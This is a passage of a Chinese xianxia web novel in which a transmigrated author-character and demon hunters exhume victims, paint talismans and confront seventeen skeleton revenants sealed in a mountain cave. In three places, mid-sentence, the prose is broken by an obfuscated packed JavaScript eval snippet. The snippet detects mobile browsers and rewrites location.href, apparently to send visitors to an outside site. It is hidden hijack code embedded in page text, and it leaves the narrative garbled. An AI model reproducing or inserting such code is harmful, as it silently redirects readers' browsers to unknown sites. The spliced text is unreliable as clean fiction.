谢归川被打手二字逗得一笑,道:“书姑娘放心,不会让你闲着的。” 书环满意点头。 回村的这段路不算远,途中也没有出什么意外,折腾了这么久,回到村落时已是申时末。 两个在村边撒朱砂的捉妖师最先注意到他们。 “谢少主。” “王孝生的尸体找到了吗?” 两人摇头,面上尽是不解。 “别说尸体,走出妖物的逃窜范围后连滴血都没看见,追魂符和聚灵符都没反应,只能摆招魂阵,结果招来一大群孤魂野鬼,光是遣散它们都用了好大功夫。” 谢归川又问道:“那个黑衣人有踪迹吗?” “也没有,周围山太大,不易搜索,大家担心中调虎离山计,便没有走太远,只围着村落找了一圈。” 谢归川点头表示知晓,吩咐两人道:“去召集村民,我有话要问他们,还有,我要开棺验尸。” 说完这些后,他没有第一时间到赵元章的住处去,而是直接去了王孝生家。 比起上一次来,这里又多添了几分凄凉。 院门挂着的纸糊灯笼被风吹得在柱子上撞出闷响,灵堂内的烛火熄了也没人再续上,烧过的纸钱灰被风吹得满屋子都是,王孝生一死,这间屋子最后一缕活人气息也散了。 那个少年的尸体被收敛在了一副薄棺之中,谢归川上前上了三柱香,书环也拿起三柱,顿了顿,回过头看了裴殊一眼,将他那份也一起点了。 做完这些后,谢归川上前,掀开了盖在尸体上的那层白布,一股腐烂的味道逐渐蔓延开来,书环脸色一白,后退几步跑了出去,裴殊微微侧头,见目光所及之处已看不到她的身影,迟疑了一瞬,也转身出了屋子。 书环蹲在院子的角落里,紧靠着篱笆的地方长了一棵草,她伸出手指摸了摸叶片,裴殊毫无声息的来到她身侧。 她仰头看了他一眼。 “你也受不了那股味道吗?” 裴殊看着她,语气平直:“你在难受。” “是个人看见一具血淋淋的尸体都会难受的。” 她换了口气,语气轻快道:“要是我看见尸体格外兴奋的话,现在蹲这害怕的人就该是你了。” 裴殊的表情没有因为她的话发生任何变化,书环不死心的变着角度观察,最后得出结论:裴殊是块木板。 屋舍内,谢归川得到了自己想要的答案,取出一块手帕慢条斯理地擦着手上的血污,出来对院落里的两人道:“走吧,去找村长。” 21. 验尸 书环扶着裴殊起了身,也不问谢归川验尸验出了什么,三人就这么沉默着走到了赵元章的住处。 村民早已聚集在此,谢归川让人转达的话令众人慌乱不已,剥皮妖带来的恐惧刚被驱散几日,便又成倍的扑了回来,胆小的人已哭了起来。 三人刚一露面,混乱焦躁的局面瞬间变的寂静,无数双眼睛随着他们的步伐而挪动。 有人怯怯的开了口:“道……道君,剥皮妖真的……真的卷土重来了吗?” “不是卷土重来,它一直潜伏在暗处,如今出现,是因为它按耐不住,想要更多人的血肉和皮。” 这话使得安静的众人再度慌乱起来。 谢归川趁热打铁道:“并且此妖比我们想象中还要厉害,所以,为了诸位的安全,还望大家能配合我们。” 赵元章闭了闭眼,深吸一口气道:“谢道君的要求先前那位小道君都告诉我了,开棺验尸一事,我没有异议。” “村长!有些人都已经入土为安了,再挖起来不好吧!” “是啊!都已经埋下去了,再挖出来……这……” 面对众人的抵触,谢归川笑道:“大家不必担心,只是验明尸身而已,不会惊扰逝者,捉妖一事了结后明月楼也会做法事超度逝者。再者,他们若是在天有灵,知晓大家为了一具尸身而将自己置于危险之地,恐怕那才是真的难以瞑目。” 这番话说的极有水平,不少人因此动摇,赵元章直接大手一挥:“挖坟,开棺!” 他在村中极有威望,少数几人反对的声音也被彻底压了下去,村中剩余的青壮年在捉妖师的带领下开始挖坟。 太阳渐落,一片新起的坟地上用竹竿撑起了数块粗布,两个捉妖师为一组护在坟堆旁,防止意外发生。 书环蹲在裴殊的影子里听谢归川同赵元章谈话。 “村长可曾听说过什么有关此处的传闻?” “传闻?唯一和赵家村有关的传闻便是此处是个穷鬼乡,上百年都出不了一个大人物。” 谢归川又问:“没有什么同精怪妖邪有关的吗?” 赵元章摇头道:“没有,若是有,早在见到莫道君一行人的那日便同她们说了。” 谢归川静默片刻,听书环道:“有点不对啊。” “有何不对?” 裴殊闻声侧了侧身子,他一动影子也跟着动,书环半张脸因此露在了外面,她急忙道:“裴殊你别动!” 将自己重新藏进影子后,她看向赵元章。 “赵村长,我再确认一下,赵家村没有任何关于鬼怪妖邪的传闻吧?” 他十分肯定道:“绝对没有。” 书环莞尔一笑:”这,便是问题所在了!” “凡是民间,无论是山清水秀的富饶之地,还是山穷水恶的贫瘠之乡,或多或少都有一些关于鬼怪的传闻,但赵家村这地,周围都是大山,按理来说鬼怪传闻应只多不少,但偏偏就是这样一个盛产怪谈的地方却一点吓唬小孩的传闻都没有,不觉得很奇怪吗?” 赵元章听后愣了愣:“是有一点……过于平和了。” “赵村长,我见周围多大山,想必山洞也应该不少,你们在此生活多年,可曾有见过什么造型诡异的?” “说起山洞……我倒是想起一件事。” 赵元章眯了眯眼,慢慢的回忆起来:“那是数月前的一个傍晚,村里上山砍柴的人下山说,与他们同行的老刘失踪了,我听闻后带着人上山去找,在山上一处密林中找到了不省人事的老刘,那时刚下过雨,我以为他只是脚滑摔晕过去了,便将人直接带了回来。 谁知老刘醒后竟说他见鬼了,我一追问才得知,砍柴途中下了雨,他远远看着前方有个山洞,便想着去避一避,走近一看才发现,洞中竟立了一群姿态各异的黑衣人,隔着雨幕,那群人缓缓转过头来,脸是一片虚无的黑。 老刘被吓坏了,转身就往山下逃,途中不慎滑倒,再醒来时已被我们抬回了村里。” 谢归川面色慎重:“此事没听你提起过。” “因为事发之后我带着人将那座山翻了几遍,没找到老刘说的那个山洞,所以便以为是他淋了雨烧糊涂后产生的幻觉,谢道君,你们不会真找到了那个洞穴吧?” 谢归川只问:“老刘在哪?” 赵元章一愣,指向一口刚从土里刨出的棺材。 “在那!” 谢归川:“……” 书环笑也不是,哭也不是,干脆开口问道:“老刘看见山洞是什么时候的事?” “两个月前。” 她摸着下巴:“也就是说,两个月前石盘上的阵法便开始出问题了?” 谢归川道:“阵法只是用来隔绝外界,即便出了问题,也只会让人误入此地,比起这个,我更好奇那些黑衣人是怎么出现在那一方天地内的。” 裴殊负手立在两人前方,闻言头也不回的道了一个字:“水。” “水?” 脑中设想过的许多种可能在此刻轰然塌陷,只余一场春雨浇活那一方天地,谢归川面上一松,抬眼望向远处悉数沉落山脚的夕阳,突然一道紫电照亮了他的眼眸,随着这道雷劈下,最后一口棺材也被人从深坑里抬了出来。 谢归川缓下心神,从歪七手里接过一方面纱覆在脸上,命人打开第一口棺材,他左手敛着袖子,右手探进棺材之中,像在摸索什么。 书环和裴殊就站在不远处,见状她侧过身子道:“你知道他这是在做什么吗?” 裴殊看了一眼便收回视线。 “摸骨。” “你连摸骨都知道?” “学过。” 书环来了兴趣:“教教我呗!” 裴殊朝她看过来,目光平淡,书环以为是自己表现的不够正经,遂正色道:“我是认真的。” “没什么好学的。” 书环皱眉:“怎么会?” 裴殊难得多说了几句:“提前知晓命运,并非是一件好事,你这位朋友摸骨断命的本事一绝,却也不像他所表现出的那般,凡事都胜券在握,可见过度窥探命运,本就不是明智之举。” 说到最后,他的话里俨然已染上了几分嘲弄,书环敏锐的察觉到了他的情绪变化,心想既然裴殊也会摸骨断命,说不定在某个她不曾将笔尖对准他的时刻,他也曾窥探过自己的命运。 于是书环沉默了。 在自己一手造就的悲剧面前,她总是不免带上几分愧意。 谢归川摸完最后一具尸体的骨头,在一旁早已准备好的水盆里净了手,摘下覆面的轻纱后,他对着两人道:“我想我已经猜到黑衣人的意图了。” 书环:“什么?” “死者根骨奇佳,且各有所长,简而言之便是,十分适合修行。” 一旁的歪七听闻一惊:“死的全是适合修行的人!难不成是那黑衣人跟修行之人有仇?” 谢归川似笑非笑道:“或许不是有仇,而是有缘呢?” 远处跑来一个捉妖师。 “少主,你要的东西都准备好了。” 谢归川转身道:“书环姑娘,该你废神了。” 看到堆了将近半间屋子的黑布时,书环才明白谢归川口中的劳累指的是什么。 “你想复制出黑衣人身上那块黑布?” “我看过了,这对阴阳符威力强大,黑衣人之所以会逃窜而出,多半是因为黑布上的符文历时已久,符力消散所致。曵骨有灵,它画出的符不惧水火,且符力深厚,所以此事只能劳烦书环姑娘。” “倒也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419230|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称不上劳烦,只是……我画符会引雷……” 谢归川失笑道:“此事不用担心,我已命人在此处布了阵。” 万事俱备,书环在谢归川的指导下学会了一双阴阳符,然后按照特定的顺序在一块摊开的黑布上画了起来。 空旷的屋子里摊着一张巨大的布,书环跪于其上,一手支撑身体,一手执曵骨,突如其来的狂风掀起黑布的一角,连同她一头青丝尽数吹拂而起。 谢归川展开凤凰泣轻拂一扇,狂风渐歇。 歪七吐了吐嘴里的沙子:“什么怪风。” 一旁的人接道:“修炼到一定程度或应劫而生的妖邪大多都能呼风唤雨,咱们遇见的这个,恐怕不简单。” 谢归川一言不发的望着头顶那片浓厚的黑云,此处尚且如此,不知莫临江那边如何。 他有些担心。 书环一只手几乎要快出残影,一张比人还长还宽的布只用了半刻钟便全部画满了符,谢归川接过一看不免震惊。 “竟无一错漏,书环姑娘,你的天赋一点也不必明月楼弟子差。” “谢少主的夸赞我收下了,不过眼下山上的局势不明,莫师姐既要补阵又要提防邪物,恐有关注不到的地方。” “我也在担心此事。” “不如谢少主带着这块布先上山一步,待我将剩余的画好后再同裴殊上山。” 裴殊背对众人站在窗边,从头至尾没有说过一句话。 谢归川早已知晓此人向来冷默,他既然没有反对书环的话,那便是同意了,有这样一位来历神秘的高手保护,他也不用担心途中出什么意外,带上那卷黑布后匆匆奔往山上。 谢归川一走,此处便只剩下三人,书环跪下画了半幅布,留在此处的那个捉妖师也被其他人叫走帮忙了。 简陋的木门被风吹得撞在门槛上啪啪作响,光线一点点被乌云吞噬,四周寂静无声,风雨欲来的征兆充斥着所有感官。 “你为什么支走他?” 书环抬头:“什么?” 裴殊用的是肯定的语气:“你担心他发现什么。” 她叹了口气,心道跟聪明人待在一起就是容易被看透。 “谢少主是捉妖大派的人,我信他,却没法信其他人,所以难免要谨慎一些。” 说着,一道惊雷劈在大阵上,书环身子一缩,加快手速画完了一张布。 妖风看准时机灌了进来,一时间整个屋子都是门窗的吱呀声。 书环内心的不安愈发强烈,她惧怕这种无法提供庇护的屋子,以及不露面却能带给人恐惧的东西,像头上悬着一把不知何时落下的刀。 她不得已停了笔,那双如清泉一般的眼眸里泛起了波澜,越是这种时候,她越想说点话来转移注意力:“天要黑了,今晚有月亮吗?” “没有。” “那真是可惜,你今晚看不到月亮了。” 裴殊突然毫无征兆的朝她走来,每走一步,屋内的油灯便应声亮一盏,火光跳跃几次后,裴殊已走至她身侧,书环抬眼望去,这才发觉屋内透亮,门窗也紧紧的关闭起来,没漏进一丝刺耳的风。 险些忘了,眼前这位可是本书屈指可数的高手,跟他共处一室,很难出什么意外。 书环这般想着,便看见裴殊伸手去帮她整理那块画好的黑布。 “裴殊!” 她突然提高声量,神情紧张的看着他那双握着布料的宽厚手掌。 ”你……放着我来吧。” 裴殊道:“不是腰痛?” 书环扶腰看着裴殊卷好了那块黑布,他人长的极好,无论是身量还是气度都无可挑剔,这偏偏就是这样一位仙人之姿的男人让书环犯了难。 这……这方天地到底给裴殊推演出了什么身份? 22. 白骨人 书环写文有个特点,设定神秘的那部分角色,不到关键时刻,绝不揭露身世。 裴殊作为大反派,在剧情前期一直处于一种半隐半现的阶段。 隐的是他的身世和经历,现的是他的外貌和修为。 关于裴殊的身世,书环曾在几个版本之间犹豫过,因为实在不知如何抉择,便没有将此事写明,只几笔略写他年幼时饱受苦难,爹不疼娘不爱。 在其中一个版本的设定里,裴殊是只大妖,被一个阵法镇压了上千年,千年后,他感应到故人的气息,设法从阵中逃了出来,不断替换身份潜伏在莫临江和谢归川身边。 这卷写满符文的布已经替她排除了这个选项,裴殊不是妖,书环不禁回想了一番剩下的人设,无论何种设定,他都被阵法镇压了千年,眼下裴殊意外失忆,看来要弄清他的身份,还需日后多多观察。 书环集中精神,花了一个多时辰画完了其他布匹,她用谢归川留下的乾坤袋将其全部收了进去,想到还有一个游离在外的黑衣人,她又掏出一匹放在了不久前回来守在门外的捉妖师手里。 “遇到黑衣人就将布匹抛出去,盖在它头上。” 捉妖师知晓两人要上山,早已准备好了伞和灯笼:“路上小心。” 书环接过后将伞塞进了里,左手拉着裴殊,右手提着灯笼便上了路。 天色已经黑了下来,声若呜咽的风意有所图的扑向书环,灯笼被吹得左右摇晃,烛火几番欲灭。 裴殊道:“我自己可以走。” “不是你自己能不能走的问题,我这是担心我们走散,这风这么诡异,万一……嘶……” 她眼里被吹进了沙子,一时间有些手忙脚乱,几次想要睁眼都以失败告终,“我眼睛……我的眼睛睁不开了。” 裴殊接过灯笼,她眨了半天眼睛都不好,只能挤出几滴眼泪,与之相反的,裴殊既不遮挡也不侧身,直面妖风却没有沙子入眼。 书环虚心讨教:“你是怎么做到不被沙子迷眼的?” 裴殊道:“修为高。” 书环:“……” “那你快让妖风停下!” “停不了。” 书环嘀咕:“一边说自己修为高,一边连阵妖风都停不了。” 幽静的山林之中只有两人的脚步声,偶尔刮来的几道风声也犹显凄厉,像厉鬼在耳边哭喊,书环抬袖遮眼,另一只手还牢牢抓着裴殊的袖子。 “裴殊,你说……那个黑衣人究竟是什么?” “死人。” 书环:“……” “我知道是死人,都埋进土里了不可能是活人,我的意思是,他们为什么会被人镇压在此。” “害怕死后作乱,或者死前便已经在作乱。” 不愧是沉默多思,修为通天的反派,一下就说到了点子上。 书环本欲夸赞,谁知话还没说出口,一道惊雷便从天而降,短暂的照亮了这片山林,书环因此得以看清,前方不远处的山路上,一个黑衣人背对着两人,不知已等待了多久。 她就知道,以她的运气,不可能一路平安无事。 一阵凄惨的鬼叫从那人口中传来,她顿时起了一身鸡皮疙瘩。 裴殊抬袖,一柄黑白相间的剑无声飞出,直冲黑衣人而去,他回头看了书环一眼,将灯笼递给她道:“待在此处。” 说完没入黑暗。 书环站在原地,裴殊塞过来的灯笼杆上还残留着他的温度,眨眼的功夫,远处便传来了两人交手的声音。 风声愈发凄厉,缠斗声渐渐熄了下去,屏息侧耳听了一会,两人仿佛从林中消失一般,书环试探的问道:“裴殊,你还在吗?” 那柄剑突然窜出绕着她转了一圈,直直飞入黑暗中,片刻后,裴殊拂袖而出。 “受伤了吗?” “尚未。” “黑衣人呢?” “逃了。” 书环蹙眉,能从裴殊手底下逃走,即便他如今修为大打折扣,那人也不该是个籍籍无名之辈,可惜裴殊千年未出世,不然还能通过招式判断那人的大致身份。 未防止意外,两人加快脚程,赶在下一个意外发生前同莫临江等人汇合。 书环和裴殊到时,原本堆成一座小山的朱砂土已少了一半,凑近一看,才发现几人正手持铲子往下回填,深坑之中,还有一角牛皮纸裸露在外。 “莫姐姐,阵法修复好了?” “石盘已碎,只能勉强拼凑起符文,若是这场雨下的太大,怕是连符文也会溃散。” 难怪在泥层中放置牛皮纸,原来是作隔水之用。 书环取出整整齐齐一叠黑布,谢归川接过后依次分给众人,分完一圈后,他捧着最后一卷回到书环身前。 “给我?” 谢归川颔首:“在下思来想去,以书环姑娘的运气,在场众人里最需要它的就是你了。” 书环:“……” 有那么一刻,她十分想用曵骨改掉自己倒霉这一属性,但一来不清楚此举是否对自己有用,二来,即便有用,她也需付出相应的代价,眼下这个节骨眼上,实在不宜出意外。 见她收好了布匹,谢归川松了口气,不忘嘱咐道:“别离裴公子太远。” 书环瞥了一眼一言不发的裴殊,道:“知道了。” 来来回回进出几人后,终于确定阵法启动无误。 众人贴着阵法边缘站了一圈,确保发生意外时能最快逃出。 书环见状往裴殊身边站了站,就这样就着夜色等待起来。 约莫到亥时,四周将熄的火堆突然猛的一跳,刹那的明亮过后,黑暗彻底蔓延开来,预料之中的雨却并没有落下。 有人问道:“怎么回事?” 无人回答。 缓缓水流声从寂静的洞穴传出,接着“天上”的星宿依次亮起,莹莹白光下,一个黑色的身影慢慢从地上站了起来,像是许久不曾用过这副躯体般,在原地活动了一番筋骨,这才缓缓转过身来,其面部,竟真如赵元章所说那般,是一片虚无的黑。 那张没有五官的脸看向为首的莫临江和谢归川二人,再依次看向其余捉妖师,这一举动,像极了在挑选合适的剥皮对象。 果然,环顾一圈后,它将目光放到了莫临江和谢归川二人身上,稍作迟疑,它冲着谢归川走去。 两人对视一眼,莫临江退开两步,谢归川岿然不动,黑衣人缓步上前,抬起手臂,宽大的黑袍下伸出一只没有皮肉的手,骨色泛黄,不知已在地下掩埋了多长岁月。 指骨一根根攀上谢归川的肩膀,顺着他瘦长的脖颈往上,一点一点覆盖住他的大半张脸,如同鉴定物品般顺着五官轮廓摸索起来,谢归川鲜少有过这种经历,非人的触感弄得他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫临江将布角放下,白骨人挣扎几番后安静下来,她转身又挑开了另一具白骨身上的布角,同其交起手来。 火堆被人重新点燃,影子随着火焰的跳动时长时短,在一众跳跃的影子中央,莫临江正在同最后一个白骨人过招,剑影翻飞间,黑布再度破碎,露出一节手骨,莫临江熟练的收了个尾,青山白表面结出一层霜,她一抖,霜花簇簇而落,仿佛掉了一层壳。若换作平时,众人一定对青山白的清洁方式感到震惊,然而此刻,所有人心中都只有一个念头。 太不可思议了! 十七具白骨人,具具武功高强,莫临江十四岁入无端门,十七岁当上人宗少宗主,天赋当得起一句一骑绝尘,然而那些白骨人在她面前竟不显逊色,这怎能让众人不震惊。 “十七具里面只有一具尚未完全腐化的尸体。” 这些日子积攒下来的诸多疑惑顿时迎刃而解。 为什么死者有的只被剥掉了皮,有的却连同肉一起剥走了?为什么死者大多都有极好的修炼天赋?为什么死者的年纪从老年逐渐递减,最终定格在青年?又为什么,明明是一群命格极好的人,却过着与命格完全相反的生活? 一切的一切,都要从这群化作白骨的人说起。 23. 来历 许多年前,一个人出于某种原因,杀了一个极具修炼天赋的少年,因其死后作乱无法抹杀,于是选了赵家村旁的这处深山老林,以穴眼布阵,造了一方普通人看不见的小天地,将其困于其中,让他误以为自己还活着。 此后的很长一段时间里,那个人亦或是他的师门家族,一直延续着隔一段时间杀掉一名天赋异禀的少年,并将其带到此处镇压的传统。 如此不知过了多少年,最后一名少年也命丧黄泉,尸体被带到此处镇压起来,许是阵法年久失修,又或是下面的死者太多,怨气太重,总之,那个埋于地底,将他们与外界隔开的阵法石盘碎了。某个下雨天,白骨人照常来到洞中这方小天地玩乐时,他们隔着雨幕看见了一个人。 一个不同于他们,有血肉有皮囊的人。 活人的出现打破了白骨人还活着的幻想,于是他们摸索到了村庄中,开始挑选适合自己的皮囊。 或是偶然,又或是等待已久,他们遇到了上山寻羊的老刘,那日隔着雨幕遥望,这人的出现提醒了他们什么叫做真正的人,于是理所当然的,他也成为了第一个被剥皮的人。 白骨人将他的皮往身上一套,立马发现了不对。 这人虽是有血有肉的活人,但他太老了,皮又皱又松,完全不是年轻人的皮肤该有的质感,于是他们又将目光转向了村里的年轻人。 又一次得手后,白骨人照旧把自己放进了皮里,虽说这次的皮很年轻,但还有一个致命的缺点,骨架和皮中间没有血肉,他们看起来还是不像活人。 第三次下山,他们扒走了死者的皮肉,唯一一个没有被扒肉的死者是那个少年,书环在十七个高低不一的白骨人里找到肉还没完全腐化那位,王孝生的弟弟,恐怕就是死在他手下。 假设到这,事件的大体脉络已经浮现,但不少人对此还有疑惑。 “这些人,称一句天之骄子也不为过,死了足足十余位,竟无人发现端倪吗?” “许是间隔时间太长,每隔几十年近百年才杀一个,很难有人察觉不对。” “幕后之人杀他们的用意是什么?” “许是……嫉妒他们天资聪颖?” “那也不至于连杀十余人吧。” “比起这个,我更想知道幕后之人是一个人,还是世家宗门。” “一个人的可能性不大,没人能活那么久,无论是将尸体运来此处,还是在此布阵,都不是一件容易的事。” 众人讨论一番,对此没个定论,能用的信息太少了,无论是石盘上的符文还是黑布上的阴阳符,在场之人都是第一次见。 裴殊侧头,不咸不淡的说了一句:“死后作乱的人太多了。” 书环把这话反复琢磨几遍后才反应过来他是对着自己说的,连忙道:“我也这样觉得,人死后化为邪怪的可能性极小,但埋在这里的人却几乎人人成邪,幕后凶手总不至于专门挑个风水有问题的地方,自己给自己找麻烦,所以问题出在其他地方。” 她顿了顿,继续道:“我代入其中试想了一番,假如我自己是个天赋异禀的年轻人,尚未崭露头角便被人害死,杀我之人不仅活的好好的,还将我带到此处镇压起来,那我自然是不甘心的,可是……光是这样,似乎解释不了为什么大部分死者都成了邪怪。” 裴殊道:“不只是被杀死这么简单。” 书环点头,裴殊果然聪明。 又有人问道:“既然白骨人是挑修为高的,那为什么不对莫少宗主动手?” 书环:“或许这些白骨人都是男的?” “可是,裴公子也是修为高深的男的,怎么不见白骨人朝他动手。” 书环听到这话,先是产生一种“你很有眼光”的欣喜,然后才是对反派光环的感慨,哪怕什么都不做,话题也会慢慢引到他身上来。 她指了指自己和裴殊的眉心。 “这些白骨人生前都是修士,哪能不知道不世咒,避着我俩都来不及,又怎么会主动凑上来?” “也是。” 十七个白骨人皆被困于此,洞穴之中便空了出来,书环心痒痒,扯了扯裴殊,跟着莫临江和谢归川二人走了进去。 缓缓流水声从洞穴深处传出,顺着“河道”尽头流淌而来,蜿蜒而去。站在远处俯视,这条河流像极了一条银色的小龙,悄无声息的盘踞在此。 站在外面的时候不明显,进来一看才发现,整个洞穴内都浮现着一层朦胧的光晕,像是诡异离奇的梦境。 莫临江将剑刺入龙眼处一搅,洞中光晕层层暗淡下来,直至彻底灰暗。 谢归川取下耳坠,光亮乍起,书环这才得以看清,原本摆放着的黑色通通往旁边挪了一步的距离,露出石头下的洞,洞口大小类比成年人肩宽。 莫临江手中捻了张火符扔下,火光途径之处,依稀可见一口腐朽的棺材,坑底散落着一些法器。 她起身道:“让人进来挖吧。” 这是第三次动土了,比起前两次的唉声叹气,这一次众人明显成熟了很多,个个目光如炬,带着一股在田间地头苦挖半年磨练出的坚毅,誓要将此地挖个天翻地覆。 然而出师不利,第一锄下去便同地面擦出了浓浓的火花,别说裂缝,连道痕迹都没留下。 元清被人挤到一边去。 “你力气太小,看我的。” “嘭”的一声,锄头和地面重重的碰撞在一起,火花四溅的同时,似乎有什么东西崩裂了。 众人纷纷探头。 “这次肯定成!” “绝对没问题!” “这要是还不行歪七师兄把自己脑袋拧下来给我们当凳子。” 锄头一挪开,露出了完好无损的地面。 “咦?怎么会这样?” 他若有所感的提起锄头一看,哐当两声,方才还完好无损的锄头被崩裂成了碎块。 “少宗主,我们挖不开,这种硬度绝对不是人能破坏的!” 说完,身后不远处传来碎石落地的声音,众人闻声望去,裴殊右手覆在黑色怪石上,几条缝隙自手掌处不断往下蔓延,石块寸寸崩裂,手一撤走,石头彻底化作一堆碎石。 书环在一旁探头。 “这里面有什么啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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白骨人身份特殊,莫临江选了一方地宗用来度化怨灵的阵法,此阵需要十人吟诵经文,无端门人手不够,只能临时从明月楼那借了几个,这一借便只剩下书环和裴殊两个无所事事的人。 谢归川:“书环姑娘,你为人机敏,裴公子修为高深,护阵一事还得劳烦二位。” 书环欣然答应,至于裴殊,除却书环的来历外,他似乎从未对任何事发表过看法。 莫临江领着人画好了阵法,十人盘腿而坐,围成一个包围白骨人的大圈,诵经声渐起,金色符文从阵法底部蔓延而上,拼凑成半圆光罩,远远望去像是一个倒扣的金碗,碗中金光倾泻而下,一点点驱散怨气。 一切都已步入正轨,只待三日后怨气散尽,此方事便算了了大半。 金光愈盛,书环见周围没有什么异样,又有裴殊在侧,于是便松懈下来,抱着膝盖蹲在了地上。 突然,裴殊那柄剑无声出现,悬停在她身侧一瞬后钻进了阵法,阵法之中,一股肉眼可见的浓郁黑气蔓延开来,毫无章法的冲撞向诵经之人,众人毫无防备,除却修为较高的两人外,其余人个个嘴角带血,歪七扭八的躺了一地。 24. 鬼见愁 度化怨气的阵法非但没能将其顺利化解,反而激怒了白骨人的怨气,任谁也没有想到会是这种局面。 两剑一扇穿梭于发狂的白骨人中间,既要防止他们伤人,又要避免割破那块黑布,难为极了。 书环在事发的第一时间便从地上窜了起来,将那些伤的比较重的人拖离白骨人的攻击范围。 好在阴阳符尚未完全失效,有一块布的阻碍,白骨人行动慢了很多,书环取下曵骨,画了一道符咒抛向对面,手脚并用爬了两步后再次拖走一人,白骨人欲追,被裴殊的剑抽的后退两步,书环得了空隙又画一符,该符是她从莫临江那习来的,专克妖邪。 符文打到白骨人身上,他稍作停滞,随即一弯身,猛的跳出三米远,瞬间到了书环跟前,白骨透过黑布露出大体轮廓,冰冷的骨骼几乎要贴上她的脸。 生死存亡之际,书环爆发出惊人的弹跳力,猛的往后跳出两人的距离后,她围着外圈边跑边哇哇大叫。 “这不对!这不对!无端门的符用了会激发他的怨气!” 莫临江闻言停下手中的剑,其余两人无端门弟子见状也纷纷收手。 书环跑到裴殊身侧,弯着腰大口大口喘着粗气,无端门的人停止出招后,白骨人的怨气没有进一步被激怒,很快便被裴殊和谢归川压制下来。 连撒几把符箓后,十七具白骨人总算回归平静,裴殊收了剑闭目养神。 其余人却无法像他这般冷静。 “怎么回事?无端门的术法不能压制邪怪就算了,反而还会激怒它们。” 众人心中不约而同的浮现出一个答案,因为太过不可思议,反而无人提及。 莫临江道:“既然无端门的阵法不能用,度化一事还需谢少主想办法。” “无妨,明月楼也有不少度化妖邪的阵法,我们一一试过,总能找到有用的。” 受伤的捉妖师服过丹药后修整了半个时辰,期间月亮悄悄从乌云后钻了出来,书环被那具扑上来的白骨人吓的不轻,一见这群被布罩住的骷髅架子就腿软,干脆出了阵法透气。 刚迈出去,她突然想起还没和裴殊约定进来的时间,这个阵法做隔绝之用,若无一个精通阵法的人在里面帮忙,她是绝对进不去的。回首一望,众人正在听谢归川传授阵法。 好像有什么不对。 “莫姐姐。” 所有人都朝她看了过来,她站在阵法外,脸色有些苍白。 “不可能!明明没下雨,阵法怎么失效!” 谢归川道:“没下雨不代表没有水。” “少主你是说……地下的水?” 众人不禁想起了那道从洞穴深处流出灌溉至“河流”的水,这群邪物在此处埋了最少上百年,控制附近的暗流于他们而言不算难事,况且,这股暗流或许从一开始就是为他们能自由出入那方洞中天地准备的,只是幕后之人也没想到有一天石盘会碎掉。 谢归川带来老刘隔着雨幕看见邪物的消息后,众人便理所当然的觉得是因为雨水灌进了洞中才放出了白骨人,彼时眨眼间乌云蔽日更印证了他们的猜想,白骨人想借一场雨破开被修好的阵法。 如今再看,这场迟迟未下的雨倒像是天生异象,莫临江猜测,最初作乱的白骨人只有几个,其余的不过是受了他们怨气的影响,这场异象一出,所有的白骨人都该成邪了。 像是要印证她的猜测般,一道惊雷劈下,所有白骨人身子一直,分散跑向四周的树林。众人匆忙起身阻拦。 谢归川展开凤凰泣,眉尾一挑,问道:“我放把火,少宗主没意见吧?” 莫临江控制着青山白阻拦乱窜的白骨人,道:“你随意。” 一条火绳窜出,将四散而逃的白骨人收紧捆成一堆,众人一口气还没松下来,便见其中一个双手握住火绳用力一扯,火绳寸寸崩裂,掉落的碎节还未接触地面便已熄灭。 谢归川目光一冷,数条火绳再度窜去将白骨人捆了个扎实,没给他们挣断的机会,凰火瞬间蔓延至其全身,十七个白骨人瞬间被火海吞没。 火苗吞噬掉了身上批裹的两层黑布,一架架白骨在火海里无声扭曲着,下颌骨一张一合,好似在绝望嘶吼。 书环看着这诡异的一幕,只觉浑身上下的汗毛都竖了起来。 火势直到一刻钟后才渐渐颓败下来,原本泛黄的骨架已被烧成了黑炭,她问道:“它们这是要彻底死了?” 谢归川没有肯定:“或许吧。” 片刻后,当火势临近熄灭,而骨架尚且直立时,谢归川轻叹一口气,首当其冲迎了上去,其余人也没留后手,纷纷拿出看家本领应战,书环想了想,握着自己的曵骨加入了这场混战,不到一分钟,她以一个十分无助的姿势被抛了出去,能在此刻救她的只有三人: 裴殊,他正被五个白骨人围攻。 莫临江,她正被五个白骨人围攻。 谢归川,他也在被五个白骨人围攻。 剩下的一群人被两个白骨人打的落花流水,要知道在书环的设定里,一个白骨人的战力几乎同莫临江还有谢归川这两位主角齐平,虽说被凰火烧了一遭,但至少一半的修为还在,于是理所当然的,书环因为没人能腾出手救她,一头扎向地面。 她缓了好一会才爬起,拍拍脑袋,如同走流程般暗自发誓以后再也不写这种修为逆天的小boss。 场面焦灼。 书环朝场中看了眼,一群人打得难舍难分,她决意如果半刻钟后事情还没有转机,她就用曵骨篡改一点剧情,只是如今这种情况,写什么才能逆转局面呢?她想的入了神,丝毫没有注意到有一个人正在靠近,直到对方冷漠中带有一丝嘲讽的声音响起时她才猛的抬头,她忘了还有一个人! “我道是什么东西,原来是群没有血肉的枯骨架子。” 来人手腕一抖,万千条银丝如同离弦的箭般迸发而出,将拦在前方的树干瞬间击成碎渣,然后力道不改的奔向离她最近的白骨人。 